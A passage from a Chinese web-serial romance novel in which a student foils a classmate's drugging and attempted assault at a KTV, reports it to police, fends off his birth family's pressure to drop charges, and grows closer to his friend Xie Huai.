战斗力渣渣,戚栩根本不费一点力气就把人变成一滩烂泥。 戚栩蹲下来,还有心思挑衅人:“就你这样还当上面的哪个?谁给你的自信。” 高文均神志不清,嘴里还咿呀发出含糊不明的声音。 戚栩捡起地上的手机按了按,没有动静,这部手机上次在酒吧后巷已经黑屏过一次,修过之后现在是彻底报废了。 包厢里没有其他的联系工具,戚栩并没有着急,而是坐在沙发上耐心等着谢淮来,应该有五分钟了吧,谢淮已经报警了。 他和谢淮在参加聚餐之前仔细聊过一次。 谢淮递给他一份详细的分析资料,关于注册账号给黄超发信息的聊天记录和高文均在班群里的回复信息进行对比。 很多口头用语几乎一致。 戚栩没想到谢淮会给他一份这样的分析文件,很严谨,很有谢总的作风,凡事有依有据。 戚栩并不觉得意外:“我怀疑过他。” 谢淮还是那句话:“你没和我说。” 现在戚栩说了:“我怀疑的理由是因为他一开始跟我说想和我保持床伴关系,这完全不是喜欢一个人的告白,我不确定的原因是,他这段时间伪装得太好,” 谢淮的表情肉眼可见地黑了,戚栩拿着文件戳了戳他的手:“又撸撸脸了,你跟我说说到底是什么招惹你了。” 戚栩的语气像哄小孩似的,其实谢淮这个年纪在戚栩心里也是小孩,不过也没真把人当成小孩就是。 谢淮抓住了捣乱的手:“以后这些事能不能当天告诉我。” 戚栩不明所以:“我被告白这些事?” 谢淮低沉地纠正:“这不是告白是骚扰,他不配喜欢你。” 戚栩“哦”了一声:“以后都告诉你行了吧。” 这份分析不能用于证据,只能是怀疑。 戚栩觉得高文均应该会有所动作,如果要接近他的话,那就只能借助两班的团建,在校内高文均没胆子对他做什么。 谢淮不允许他参加这次的聚会,也不允许他以身试险。 高文均有什么危险的? 他都能一打六了,还怕这么一个男大学生不成。 戚栩倒是不担心高文均真能对他做什么,只不过这人怎么会觉得自己吃了药就能办了他。 难道不知道吃了药只会浑身无力,哦,可能是第一次吃,没经验。 但也不至于给自己下药,还有一个原因,那就是高文均不知道酒里有药。 包厢门被反锁戚栩就知道高文均有帮手。 戚栩没等太久,不多时,一群人鱼贯而入,为首的是李彦和刚刚唱着痒的大高个方培宁。 谢淮紧跟其后,看到包厢里的一幕紧蹙眉头,担心的眼神落在戚栩身上。 李彦吼着:“栩哥——” 小小的身体爆发出无穷的力量,震耳欲聋。 戚栩第一时间和谢淮对视,看到了谢淮紧皱眉头,用眼神安抚着对方的情绪。 同时进入包厢的还有警察同志,他们接到报警电话说有人在KTV非法软禁群众。 陈晓华在后面和店员扯皮:“我就说我的朋友在里面,现在出事了你们ktv难逃其责。” 店员欲哭无泪:“我们这是正规的ktv,不提供其他的服务,这包厢钥匙好好的不见了,我也是第一时间问店长拿了备用钥匙。” 警察同志进门后看了一眼地上的人,然后警惕地看向戚栩,误以为他是施害者。 当然谁看到包厢的景象都会有所误会。 直到戚栩起身说明:“警察叔叔,是地上这个人对我有所企图,我属于正当防卫。” 众人才发现地上躺着的那人是高文均,浑身湿透哆嗦着,手还被绑起来。 所有人脸上无一不是震惊,班长怎么…… 警察同志将人从地上架起来,高文均神志不清,满脸通红。 戚栩再次提醒:“可以把桌上的酒一起带走,他吃了**。” 众人的表情再次错愕,一波未平一波又起,他们前一秒还沉浸在k歌当中,如果不是谢淮进来说戚栩不见了,他们也不会一起出动找人。 谁也没有想到一次团建会发生这种事。 和戚栩一起不见的还有高文均,而且貌似高文均想对戚栩图谋不轨。 平时的高文钧看着不像这样人,知人知面不知心。 最后,戚栩和高文均坐上警车前往警察局,谢淮带着律师一起。 戚栩在警局接受问话的时候,高文均还在隔壁躁动不安,别无他法,警察又给人带到医院进行洗胃,起码让人清醒过来。 戚栩对今晚的事知无不答,将事情的经过全部说了出来。 直到警察问到两人之前是否有矛盾的时候,戚栩直白地说:“他一直给我发骚扰信息,之前我报过案。” 因为有律师在,清楚事件的经过,戚栩只说了今晚事情的完整经过就可以离开。 高文均清醒过后,戚栩还要再来一趟指认。 戚栩从警局出来,看到沈枫凯和谢淮站在一起交流着什么,刚成年的谢淮站在25岁的沈枫凯面前气场完全不输。 沈枫凯立即迎了上去,紧张地查看的戚栩是否有受伤:“没受伤吧,需要去医院做个检查吗?” 戚栩回:“不用。” 沈枫凯说:“回家吧,爸妈都在家等着。” 戚栩经过谢淮的时候塞了一部新手机,他哭笑不得,这是生怕失联是吧。 上了车后,戚栩将旧手机电话卡插进新手机,下载了vx,登录账号后给谢淮发了条信息。 混吃等死:【你让沈枫凯来的?】 对面似乎一直在等他的消息,秒回。 X:【沈泽予应该参与了这件事,沈家人在保他。】 混吃等死:【……】 混吃等死:【保?想怎么保,又想让我握手言和。】 X:【沈家夫妇在乎名声,现在让你回去很有可能用道德绑架你,希望你为沈家着想,小事化了。】 混吃等死:【我不想和他们扯,我想直接告。】 X:【下车,我在后面。】 混吃等死:【……】 戚栩无语地翻了个白眼,叫停了司机:“前面停一下,我想吐。” 旁边的沈枫凯连忙让司机停车,听到戚栩下车后,他刚跟着下车,只见戚栩撒腿往回跑,叫都叫不住。 “戚栩!” 戚栩上了后面的迈巴赫,关上车门后,迈巴赫扬尘而去,一眨眼不见了踪影。 沈枫凯的司机问:“大少,追吗?” 沈枫凯皱着眉上车:“随他吧,回家。” 迈巴赫后排,戚栩忍无可忍冲着谢淮的肩膀来了一拳:“你下次能不能早点说,非得在电话里说是吧。” 谢淮受着这一拳,过后才说:“我和你哥,你选了你哥。” 戚栩:“……” 他怎么听出了一股委屈的味道。 “我没有选他,是你不说话,你早哼一句我就跟你走了,还让我百米冲刺跑……” 前方红灯,随着老高踩下刹车,戚栩还没说完的话截然而止,谢淮侧身抱住了他。 老高看着目不斜视,然而第一时间放下后排挡板。 在完全密闭的空间,戚栩清楚地感知谢淮的气息喷洒在颈侧,他们两个人之间的距离为零。 戚栩浑身僵硬不知道自己要作何反应,见谢淮还没有起身的动作,他颤颤巍巍地举起手,像个老父亲一样,轻轻覆上了他的后背。 指腹刮过后背,捏住了谢淮的衣服。 戚栩语气有些生硬,机器人似的:“干嘛?” 好半晌,谢淮终于动了,不是起身,而是在他的耳畔控诉着:“你保证过不会发生意外,我不该任由你单独面对高文均。” 戚栩确实在谢淮保证过,不然他也不会被允许参加这一次的团建,以及后面的ktv环节。 他干巴巴地解释:“我没发生意外,对方发生了意外而已。” 谢淮有些硬的头发擦过他的下巴和颈侧,戚栩有些痒意往后缩了缩,谢淮伸手按住了他的腰不容后退。 “不要狡辩,你违反我们的约定,下一次我不会允许你再擅自行动。” 谢淮低沉的声音在戚栩耳边像催眠曲,戚栩自暴自弃地把下巴靠在谢淮的肩膀上:“都听你的。” 戚栩察觉到对方似乎对他的态度很满意,颈侧的呼吸都轻了,失笑:“那能放开我了吗,这个动作有点别扭。” 他顿了下,觉得自己说得不对:“不是说我们拥抱的动作别扭,而是侧着抱的动作别扭。” 说得像绕口令似的,戚栩连话都不会说了。 耳边传来一声轻笑,戚栩一把扯住了谢淮后颈的头发,往后退,质问:“你笑什么?” 因为后背上还有一只手,戚栩往后退的动作幅度不大,仅仅借助路边的光线看到谢淮的表情。 试图从他的脸上分析出情绪,但无果,让戚栩怀疑自己是不是听错了。 戚栩见他不说话,想了想接着说:“高文均没碰到我一下,我觉得他恶心,捆人的时候都是提着他的衣袖随便绑,我用了挺大力气,估计他手上都有淤痕。” 谢淮还是没说话,垂眸不知道在看哪里。 空气寂静了好几秒,车外呼啸的风声牵扯着不知是谁在跳动的心。 戚栩从认知里意识到谢淮很有可能是在担心他,也许是在后怕。 毕竟如果不是他坚持用自己作为目标引蛇出洞,也不会造成他和对他有企图的高文均反锁在一个包厢里。 要是发生什么,后果不堪设想。 戚栩两辈子没见过这样的谢淮,一开始的印象还停留在谢淮拒绝和他敬酒,他记了两辈子。 随之是在谈判桌上见面,运筹帷幄,游刃有余。 再到这辈子的凑热闹的热心肠,经常和他互怼,也有对他的事逐渐上心。 面前这个谢淮又是一个他从没见过的模样,两人相处久了,慢慢发掘别人看不到的谢淮,别人眼中不一样的谢淮。 只有他一个人能看到。 戚栩不知道该怎么开口说话,遵循着本能把手放在谢淮的后颈捏了捏:“我保证不会有下次了,这一次是我不遵守约定,任你处置。” 两人对视了三四秒,戚栩明显感受到心里漏了一拍。 谢淮重新抱住戚栩:“任我处置?” 戚栩点头:“嗯。” 谢淮直接说:“我搬过去和你一起住。” 戚栩骤然疑惑地“嗯”了一声。 第54章 第 54 章 待戚栩反应过来的时候, 车子已经开到了沐尼,戚栩往车窗看了一眼:“不是说到我家?” 谢淮打开车门:“床还没有送到,过几天吧。” 戚栩意识到自己好像被谢淮算计了, 他这个户主还没有答应。 “哎?什么叫过几天, 你想凭着一张床登堂入室?”戚栩跟着谢淮下车,为自己力争些什么,至于是什么呢,还没想到。 谢淮准备加点东西:“洗衣机和洗碗机,或者冰箱, 家里的电器我都可以一起带过去。” 戚栩:“……” 电器,这听着像嫁妆。 “所以,你到底为什么想和我住一起, 你没房?” 谢家少爷怎么可能没房…… 谢淮承认了自己囊中羞涩:“在创业,目前手上能用的资金都投进去了,房子对我来说不是必需品, 宿舍人来人往,还是需要私人空间。” “库里南, 柯尼塞格,阿斯顿马丁,你车库里的车随便拉一辆出去都能换一套房, 你可别跟我哭穷。”戚栩没有被谢淮的男色迷惑,刚刚在车上这人趁虚而入, 好在他顶住了诱惑。 谢淮见戚栩在犹豫换了个他无法拒绝的理由:“我不是白住, 给你租金, 买下那一套房不便宜, 刚好给你回回血。” 正中戚栩的心,虽然买房算是投资, 但目前他也在创业阶段,用钱的地方不少,能回一点是一点,但这点血必须要从谢淮身上出去? 谢淮看起来是真的想拥有自己的私人空间,如了他的愿也让自己赚钱,似乎一举两得。 谢淮接过大堂经理递过来的房卡,戚栩沉默地跟着,应该是在考虑中。 还是之前的顶层套房,戚栩驾轻就熟地从小冰箱里拿出矿泉水,拧开灌了自己两口。 “可以租给你,过几天我再申请一张门禁卡,家里的密码和我的手机密码一样,水电费什么的,出账单了我再给你发。” 谢淮点开中央空调调整合适的温度:“行,不着急。” 戚栩虽然没当过房东,但也有生活见识,需要拟订合同,他现在不确定房租应该要多少。 他没个坐相倚在沙发扶边上,直接问租客:“你觉得房租应该给多少?” 这有点倒反天罡,哪有房东问租客应该给多少房租,租客当然不想给租金,直接拎包入住。 谢淮走到戚栩跟前,一只脚顶开了戚栩的双脚,鸠占鹊巢般占据了戚栩双腿内侧的位置。 戚栩莫名感到一阵压迫,面前站着的谢淮不同寻常,他抬眸直视面前的人,试图找出外星人伪装的痕迹。 谢淮居高临下地看着他:“你问我租金?” 戚栩“嗯”了一声:“世界上有我这么好的房东吗,任由租客提价,你偷着乐去吧。” 谢淮说:“免费。” 果然天下租客都是一个样。 戚栩无语凝噎,抬脚用鞋尖踢了一下谢淮的小腿,但由于他的坐姿不对,脚下不受力,更像是蹭。 “滚一边去。” 谢淮见他这个模样挑起了眉:“说了你又不乐意。” 戚栩抱着手看他,扬下巴:“说说看。” 谢淮抬手捏了一下戚栩的耳垂,摩挲着,低声道:“栩哥不是想看我的腹肌么,每天都给你看能抵多少。” 戚栩扣住了谢淮的腕骨,掀起眼皮噙着笑,歪头:“淮哥这是打算卖色?” 谢淮没说话,就这样静静地将鲜活的戚栩收入眼底。 戚栩拿下耳垂上的手,他知道自己的耳垂被玩得发烫,他也知道谢淮整个人都不对劲。 “抵不了,一笔算一笔。”戚栩故作轻松把谢淮推开,起身打了个哈欠,“不早了,睡了。” 戚栩没什么出息跑了,自顾自地回到那个落地玻璃窗的房间,所以没注意到身后的人眼底不明的情绪。 回到房间后的戚栩第一时间进入浴室,从镜子里看到滚烫的耳垂已经变红。 谢淮的手长刺了吧,怎么揉几下就变成这样。 从车上的拥抱再到刚刚如此亲近的动作,让戚栩根本没有反应的时间。 没有任何前戏,似乎是谢淮的随心所欲,可是他也没见谢淮对徐亦辰。 这两人是十几年的好友。 他也没见谢淮对谁这样子过,所以到底是什么毛病。 然后戚栩破天荒的失眠了,辗转反侧,就是为了想谢淮到底是什么病,要不明天直接去许老开服中药调理一下。 不失眠的时候起得够晚,昨晚他失眠更是一觉睡过了午饭时间。 翌日,谢淮吃完早餐后在客厅处理事务,沈老打了个电话到他这边。 谢淮接通:“沈爷爷。” 沈老爷子今天才知道昨晚发生的事,给戚栩那臭小子打电话又不接,只好打电话给谢淮。 谢淮回:“嗯,他在我这,还没醒,可能手机静音了,他没事。” 沈老询问戚栩对这件事的态度:“听说他要走程序?” 他那不争气的二儿子一早就到他这里找人,说什么都是误会,好好地解释清楚就可以。 沈老一听又是和沈泽予有关,这夫妻俩还是一样的拎不清,为了所谓的名誉再次让自己的亲儿子让步。 如果是误会的话,戚栩也不会坚持走法律程序。 沈老没说一句话,把人从老宅赶了出去。 谢淮说:“他说要走的。” 沈老的语气听起来没什么波动:“那行,我给他请了个律师,你让他回来一趟。” “沈爷爷,关律师昨晚已经跟进案情,有进展的话我让他给您打电话。”谢淮闻言看了一眼被打开的房间,这一次戚栩的睡袍系得严严实实。 戚栩和谢淮对视,随后拿着换洗的衣服再次进房间。 沈老爷子问:“德英律所的关律师?” 谢淮:“是他。” 沈老爷子沉默片刻说道:“麻烦秦老爷子了,过段时间我去看望你外公。” 戚栩洗漱完再出来的时候谢淮已经挂了电话,餐桌上也摆放着午餐。 戚栩一落座,谢淮就从沙发坐了过来。 “还没吃饭?”戚栩问。 “吃了。”谢淮近距离看到戚栩的眼底黑青,“昨晚没休息好?” 戚栩夹菜的手一顿,一秒后继续夹起:“可能睡前进了警局一趟,人生第一次难免有些激动,睡不着很正常。” 谢淮似乎看出了他没说真话,没有继续追问:“沈爷爷给我打电话,过会儿你给他回电话吧。” 戚栩愣了下,起身回房间拿起手机。静音了,没听到一点声音。 他立即给老爷子回了个电话,并安抚了这个恨不得来给他撑腰的老头子。 “我能有什么事,你孙子是个吃亏的人吗。” “别,您好好休息,他们来找你也别见面,要不我请你和谢爷爷去度假吧。” 戚栩好说歹说终于把老爷子给劝住了。 挂了电话后,戚栩整个人瘫倒在沙发上。 老爷子真情实感让戚栩找到了一丝家的归属感,属于他的家,不是沈家。 前世他和老爷子相处的时光本不多,如今多了好些日子陪伴在他的身边,但好像也给他不少糟心。 谢淮拿着水杯坐了过来,问:“在想什么?” 戚栩脱口而出,把自己的顾虑毫无保留地说了出来:“你说我如果不是沈家人,生活会是怎么样。” 谢淮倚靠在沙发上,手指不自觉敲了敲杯壁,认真思考起来:“不是沈家人,但还是会考入Q大,会和我相遇,我们会成为朋友。” 戚栩倏然坐起身,凑到谢淮面前:“那可不一定。” 谢淮侧头看他:“不一定能考进Q大?” 戚栩绝对不允许任何人怀疑他的智商:“当然不是,我对戚栩本人的智商很有信心,我是说不一定能和你成为朋友。” 因为前世已经验证过,他和谢淮在Q大,但不是在同一个专业,在校期间他们之间并没有接触。 在此之前他们已经认识,在这个前提下都没成为朋友,毕业之后更是只有利益。 如果谢淮不是和沈氏有合作,戚栩不会多看他一眼。 他们那个时候更像是两相厌,不会出现两人坐在一起聊天的情景。 谢淮却对此抱有不同的意见:“我对谢淮本人很了解,我们一定会成为朋友,如果成为不了那就我们俩都有问题。” 戚栩觉得好笑:“我没问题,明明是你的问题,你眼界高得很,我入不了你的眼。” “戚栩。”谢淮低沉地叫他。 戚栩不明所以:“什么?” 谢淮说:“我是不是没有告诉过你,单你本人站在我面前,我都会被你吸引。” 戚栩愣住了,听到他继续说:“我会一直靠近你,但前提是你允许我的靠近,而不是拒人千里外,不然我也会受挫的。” 不知怎么的,戚栩想起前世的种种。 在方家初遇被设局和徐亦辰打架,过后他隐约地听到谢淮让他去处理伤口,但他那时对谁都不信,便独自离开。 大学时,沈泽予耍脾气,沈家司机来接他们回家,沈泽予上车后故意和司机说他有事等会自己回家。 他一个人出现在校门口才发觉司机已经走了,当时谢淮经过,停下来让他上车,他翻了个白眼,很熟吗他们。 还有在谢淮19岁生日派对,谢淮递给他一份蛋糕,他没接扭头就走。 虽然他是拒绝,但情有可原,谢淮以什么身份来靠近他。 那时候他的心态注定不会和谢淮成为朋友,他仇恨那个圈子,平等地仇恨所有的一切。 戚栩还是想不明白:“那你为什么不和我敬酒?” 谢淮毫不犹豫地说:“有没有可能那个时候你病了,我不想让你喝酒。” 戚栩丝毫没有察觉面前这个谢淮不是前世的谢淮,追问:“我没病,是你不想和我敬酒。” 谢淮笃定地说:“那这个假设就不成立,我不会无缘无故不接受你的敬酒。” 戚栩反应过来自己的偏执,些许是谢淮那时候不给他敬酒给了他刺激,那是时隔多年他们重新见面。 “抱歉,不应该让你回答这件事。” 18岁的戚栩哪会知道28岁时的自己在想些什么,而且这一世的谢淮又没有经历这种事。 被逼问实属无妄之灾。 谢淮并没有问戚栩为什么会问这个问题,继而把手机的温水递给他:“歇一会儿,等下再去一趟警局。” 戚栩接过玻璃杯时猛然想起一件事,那个时候他的手臂被花瓶碎片给刮伤了,去医院包扎的时候医院让他忌酒忌辛辣,不然容易发炎。 谢淮难道知道这件事? 为什么会知道这件事。 第55章 第 55 章 经过一晚的时间高文均被送去医院洗胃后逐渐清醒, 得知自己被拘留吵着说自己是冤枉的,警察不能不分青红皂白就拘留人。 昨晚虽混乱,但他依然有在包厢里的记忆, 一众同学推门而进。 想到这里他的脸一下子就白了, 一个晚上的发酵时间学校所有人都会知道他被捕。 一人一口吐沫星子都能把他淹死,说不定还会惊动他的父母,不行,绝对不行,他绝对不允许他是同性恋的这件事传出去。 “戚栩呢, 我要见他,我们是同学,警察同志你们是不是误会了, 我们只是在闹着玩。” 警察拿出啤酒的化验结果:“是同学,闹着玩?那你怎么解释啤酒里的药物成分,人家现在起诉你强制猥。亵罪, 寻衅滋事罪。” 高文均听到两个罪名倏然惊恐,手控制不住地颤发抖:“什么药, 我没有下药。” 他怎么会下药呢,他只是想告白,他行事谨慎, 更是知道下药的罪名,所以不会把自己推入这种地步。 警察又问:“你知道是谁把包厢的门反锁了?” 高文均脑袋发蒙一问三不知, 他的原本计划就是告白而已, 为什么会发展成这样。 警察又问一些事, 最后高文均说出了沈泽予的名字, 说这件事只有他知道。 沈泽予由律师陪同到警局,只是全程他并没有说话, 由律师说明,表明虽然自己是知道高文均向戚栩告白这件事,但没有参与任何行动。 Ktv的监控不完善,刚好案发包厢外是监控盲区并没有清楚的录像,只有沈泽予走出走廊的画面,同时那边也是厕所的位置。 而且包厢外的把手并没有沈泽予的指纹。 戚栩和谢淮去到警局的时候沈泽予接受问话后被律师带回。 沈泽予整个人像是备受打击,犹如一具行走的尸体,被抽离了魂魄,只有在看到谢淮的时候眼神才有些许变化。 戚栩不知道沈家人和沈泽予进行了什么样的沟通或者谈判,又或者沈泽予真的无路可走向沈家人坦白。 沈泽予眼含泪水想走过来找谢淮,一旁的律师低声说了几句话后,沈泽予咬了咬唇,满腹委屈地跟着律师上车。 戚栩没管沈泽予,进警局再次了解案件进展。 他发现沈泽予是真的比高文均聪明,不管是线上的聊天记录还是私底下的见面,表里如一地当好一个促成他和高文均在一起的好弟弟。 说辞更是他被高文均所欺骗,以为高文均对戚栩一往情深,昨晚只是一个简单的告白现场。 对催。情药物一概不知。 警察抽取过沈泽予所有的社交账号,网购软件并没有发现可疑的问题。 警察反倒在高文均的手机找到了注销账号的痕迹,这是他和黄超联系的证据,骚扰罪名证据确凿。 高文均被拘留了,同时也惊动了学校的领导,学校派人过来了解情况。 当晚的所有目击者也被约谈,在学校领导面前签了保证书,保证不乱传昨晚所发生的事。 世界上没有不透风的墙,高文均在ktv被带走那天晚上,学校论坛就开始有人爆料,在三点一线的校园里,这种被警察叔叔带走的新闻比真假少爷还要劲爆。 爆料的人是在ktv工作人员群里听说,高文均在ktv做局想要侵。犯同学,听说有帮手,但没有成功。 一开始没多少人相信这些小道消息,因为金融系对高文均印象深刻,是隔壁班的班长,平时乐于助人,看着也不太像这样的人。 直到有人打探到高文均已经两天晚上没有回宿舍,在周一也没有回来上课,基本上已经被锤实。 还有人看到金融班辅导员和校领导带着两位风尘仆仆的中年人在行政楼上车,貌似是高文均的父母。 然而又有人打探受害者是谁时,没有一个人能说出一个所以然来。 高文均宿舍的其他三人在去ktv所以并不清楚事情的发生,打算问那几个的一起去ktv同学,但他们也闭嘴不谈。 以至于在事情发酵了两天后,各大社交软件都在讨论这件事,Q大高材生被捕以居高的热度爬上了同城热搜,但很快就被校方给压下来了。 戚栩和谢淮并没有回宿舍,到了周一那天直接去教室上课。 那天晚上在包厢外基本上都是同班同学,说来也巧,连隔壁班一个人都没有,减少了传播的范围。 当李彦和陈晓华他们看到戚栩的出现,第一时间想上前慰问,但察觉到这里并不是说话的地方,只能活生生地忍下来。 三节课下来那叫一个抓心挠肺,坐立不安,甚至都想请假了。 下课一响,等台上的老师一走,学生们才开始讨论高文均事件。 “班长被抓真的假的,谁报的警啊?” “前天晚上才一起吃饭,我竟然错过了犯罪第一现场,早知道我跟着去ktv了。” “到底是谁让他这么把持不住。” “知人知面不知心,太恶心了吧,哎,晓华,那天晚上你们不是跟着去ktv了吗,高文均到底想要对谁做了那么恶心的事啊。” 说着有好几个人的眼神在某几个容貌好的女生面前扫过,探究是不是当事人。 陈晓华察觉到那些人的眼神,皱着眉刚想打断他们的讨论,听到后排的戚栩开口:“是我,你们的眼神可以放在我身上,别造其他人的谣。” 讨论的声音截然而止,众人愣住了,纷纷往后看,似乎都不太相信戚栩所说的话。 “别开玩笑了栩哥,知道你长得好看,但也别拿这件事说笑。” “你们也知道别拿这种事说笑,眼神能不能收敛一下。”戚栩神情认真:“我这里有警察问话的回执,你们要看吗?” 谢淮在一旁端详着戚栩,发生这样的事心情糟糕在所难免,还有多方的问话,这几天戚栩格外的燥。 如今碰到无辜的人被猜测,他会毫不犹豫地站出来、 谢淮属实无法理解沈家人给戚栩发了那一条条信息中冷血这两个从何得来。 戚栩这个人的性格本身就细腻柔软,那些人是眼瞎了么。 那几个人见戚栩的样子不像是说笑,却又有点想不明白高文均为什么要对戚栩下手,两人平时也没有争执。 受害者变成男性,他们下意识地把事件想象成打架斗殴,心想着网上爆料也不准。 过后陈晓华他们几个人找到戚栩,询问案件情况以及关心戚栩是否有事。 戚栩并未多说什么,只是说高文均被抓是有证据,反过来安慰他们不会受到牵连。 高文均被拘留的这段时间,校方找过他,提出高文均的父母想见他。 戚栩拒绝见面,明确说明一切事务有律师全权负责,请不要打扰他的学习。 沈家人更是想方设法见戚栩一面,戚栩不接电话不回信息。 这段时间沈泽予请了病假没有上学,因涉及药物一案,沈家人尽力在保沈泽予,沈卓海不允许沈家名誉受损,说到底沈泽予是他们沈家的养子,养了这么多年也不能说扔就扔了。 在周三晚上放学,沈卓海亲自带着保镖在宿舍楼拦截戚栩, 李彦和冯振杰到食堂打包夜宵,戚栩和谢淮从教学楼走回宿舍。 两人还在说着周末搬家,需要准备什么东西。 还有谢淮买的两张床都到了,已经让人看着上门安装,戚栩还问谢淮床的质量如何。 谢淮回:睡两个人都塌不了。 戚栩还没来得及说什么就看到宿舍楼下停着沈卓海的车,还有那两个一看到他眼神发光的大高个。 沈枫凯,沈卓海都喜欢搞强制带走这套,不愧是父子俩。 这一次戚栩对谢淮说:“这一次真的要准备赎金了,沈枫凯他老子来了,比他还要难缠。” 谢淮对戚栩这样称呼沈卓海没有任何异议:“我去和他说。” “哎。”戚栩扯住了谢淮的衣袖,“别,你去干什么,又不是来找你,二十分钟后给我打电话,随便找个借口。” 说完后,戚栩一动,那两个大高个生怕他跑了,径直地朝他走来。 “少爷,先生有请。” 戚栩一头黑线,为了不被人围观跟着他们上车。 沈卓海和曾云就在后排坐着。 戚栩一上车就说:“明天我有课,有什么事就在车里说。” 车辆驶出了宿舍门口,停在了校门口路边的无人小道上。 戚栩在副驾驶坐着,有一下没一下地玩着手串,心思飘了出去。 曾云带着点小心翼翼地开口:“小栩,发生这么大的事怎么不和妈妈说,那个人很早就骚扰你,爸爸妈妈肯定为你撑腰。” 戚栩没任何波动:“不用,我已经成年了,我能解决所有的事。” 沈卓海怒言:“解决所有的事就是把我们家的颜面扫地吗?” “你是说我被同性骚扰这件事,沈泽予参与下药这件事。”戚栩笑了起来,冷声道,“还是说调换之事,你们之前布下的一切谎言。” 沈卓海被气得不轻,胸口浮动很大:“我这么做为了什么?你是沈家的孩子,应该以沈家为重,你知道舆论会把沈家推向风口浪尖。” 曾云红着眼睛:“你弟弟说他被人蒙骗……” 又是这个不变的理由,戚栩已经听烦:“蒙骗蒙骗,是他没脑子还是你们没脑子。” “不要再说我们沈家了,是你们沈家,在说一次,我不姓沈,我只认爷爷一个家人,我知道你们想保沈泽予,随你们怎么保,我不会撤诉。” 沈卓海勃然大怒:“你怎么跟我们说话,我们是你的亲生父母。” 曾云这个时候已经哭得泣不成声,彻底被伤了心。 “您又不是不知道我自小从什么地方长大,更过分的话我没说而已,毕竟我从小到大都是这样对我的养父说话。”戚栩把手串戴回手腕。 同一时刻,沈卓海的电话响了,沈老爷子打来的电话。 一接通劈头盖脸地一顿臭骂沈卓海。 “我说了,不要去找戚栩,你们是不是把我的话当成耳边风,既然你有事要忙,公司的事务也顾不了,我已经老大他们叫回来,过后你转交公司事务吧。” 沈卓海连叫了几声爸后,沈老爷子无情地把电话挂了。 戚栩打开车门,听到沈卓海在后排喘着粗气像呼吸不畅地问:“戚栩,你真的这么无情眼睁睁地看到沈氏倒台?” 戚栩的耐心已经告罄:“沈氏就算没有您在,也会有沈枫凯,也会有大伯在,倒不了,起码能让您后半生无忧。” 他决绝地下车,头也不回地向前走。 只要沈老爷子还在一天,戚栩就断不了和沈家的关系,他知道老爷子打心底里还是希望他和沈家人好好相处,想让他们弥补他缺失亲情的18年人生。 可是他已经长大了,经历过生死的他已经不再需要虚无缥缈的亲情。 他已经不想被困在沈家这栋布满吃人藤蔓的高楼,每一条藤蔓都都会吸他的血,他想要自由。 戚栩斩断了缠绕在他身上的藤蔓,连着他的血管,砍断时流了一地的血,但毫无痛觉。 他没有走出高楼,而是走上了没有任何围栏的顶层,看着里面互相撕咬的人,静静地等待长出翅膀的一天。 戚栩没走几步,迎面走来一道修长的身影。 戚栩没有接到电话,却看到了要打电话的人:“不是说给我打电话?怎么电话打到老爷子那边去了。” 谢淮看了一眼腕表:“已经过了二十分钟,给你打电话已经迟了,想亲自过来接你。” 戚栩走了上去:“有什么好接的,又没几步路。” 谢淮抬头望去,停在路边的两辆车已经离开了。 “还是有好几步路的。” 戚栩和他并肩走着:“这一次你告状告成功了,终于不是乱告状,原谅你之前告状我没喝完药膳。” 药膳的事也不知道过了多久了,戚栩的心里还一直记着,谢淮仔细想了想之前还有没有地方得罪他。 就还挺多的。 “感谢原谅,我会再接再厉。” 戚栩笑了起来:“这也能再接再厉,你还想告什么状?” “说不定。”谢淮意味不明地说。 戚栩觉得谢淮这副样子蔫儿坏了,像是预谋着什么坏主意似的。 “什么说不定,你给我说清楚。” 谢淮快走了两步,转身拐进了中心湖的小路。 戚栩追了上去,这人说不过就跑,今天非得治治他的毛病。 一走进去,戚栩误入了情侣圣地,所有的人都是成双成对,拉着小手腻歪在一起。 谢淮站在不远处等他过来,戚栩犹豫了两秒后还是戴上了卫衣帽子朝他走了过去。 他压低声音说:“闲的?好好的走这边干什么。” 谢淮没否认:“闲的,看看人家怎么谈恋爱。” 戚栩怀疑谢淮春心萌动,想谈恋爱。 这条路里宿舍近点,如果不是这样,戚栩也不会跟着谢淮走这边。 走到半道,草地里传来水乳交融和轻哼的呻吟声,戚栩听到这个声音像是炸毛了一样,浑身紧绷警惕地扫了黑暗处一眼。 如果手上有手电筒,说不定就像个教导主任一样到小树林抓小情侣去了。 戚栩瞄了谢淮一眼,这人淡定得很,这样一看他像个没见过猪跑的。 “……” 但这有什么好比较,大家的情感经历为零,大哥不说二哥。 戚栩原以为他们会无言的穿过这片小树林,谁知听到谢淮忽然问:“以后谈恋爱了想到这边吗?” 完全没有主语的一句话,谁和谁谈恋爱。 戚栩双手插兜:“不想,还不如到图书馆学习。” 他们这些无欲无求的人是这样的,只想着学习。 谢淮沉默了。 小路窄,迎面而来一对牵着手的小情侣,因为这边的小路灯光昏暗,有些路灯的灯泡还不亮,导致这边走路几乎摸黑。 谢淮原本走在里边,和戚栩调换了位置,手虚扶在戚栩的后腰,护着的样式。 小情侣们正在你侬我侬,戚栩又戴着帽子根本分不清男女,只注意到对面两个人长得很高。 戚栩听到两人的对话。 “哇,他们两个的身体好高,好配,接吻都不用弯腰。” 戚栩:“……” 他刚想转头解释,被谢淮挽住了手臂:“和气生财。” 又被抓住了命脉,戚栩歇气了,低头看了一眼谢淮的手:“淮哥,我的手好挽吗?” 谢淮挑剔起来了:“还行,没手好牵。” 戚栩嗤笑了一声:“说得好像你牵过一样。” “没牵过。”谢淮如实回答,“现在牵一下?” 戚栩:“……” 他以前怎么没发现谢淮这么骚呢。 戚栩缩回了自己的手,干巴巴地回:“真行,骚不过你,甘拜下风。” 他顾着和谢淮说话没注意看前面的路,谢淮拽住了他的衣领:“眼睛不看路长来干什么。” 戚栩倍感窒息,熟悉的感觉重新归来,让他不仅感叹,啊,终于回归正常了。 戚栩冷哼:“长来造福人类,难道你想看到我没长眼睛的模样,吓死你得了。” 谢淮听到戚栩轻松的语气,气笑了。 得亏小路太窄,人太多,施展不了身手,不然戚栩真的觉得要和谢淮打一架才回宿舍。 高文均的处分通报在一个星期后在学校官网发布,开除学籍。 在他们有课的时候他的宿舍生活用品早已搬空,谁也没看到是谁来搬。 戚栩知道不是高文均本人,因为对方还在拘留中。 高文均承认下药的事情,不知道沈家承诺了他什么,为了保沈泽予什么事都做得出来。 可能是钱,高文均可能判不了刑,因为并没有造成实质性伤害,Q大开除学籍后他只能通过复读再考其他学校,但白纸黑字写着,高文均在国内的处境恐怕也很艰难。 唯有出国,沈家很有可能承诺高文均出国读书,再次给他一笔丰厚的封口费。 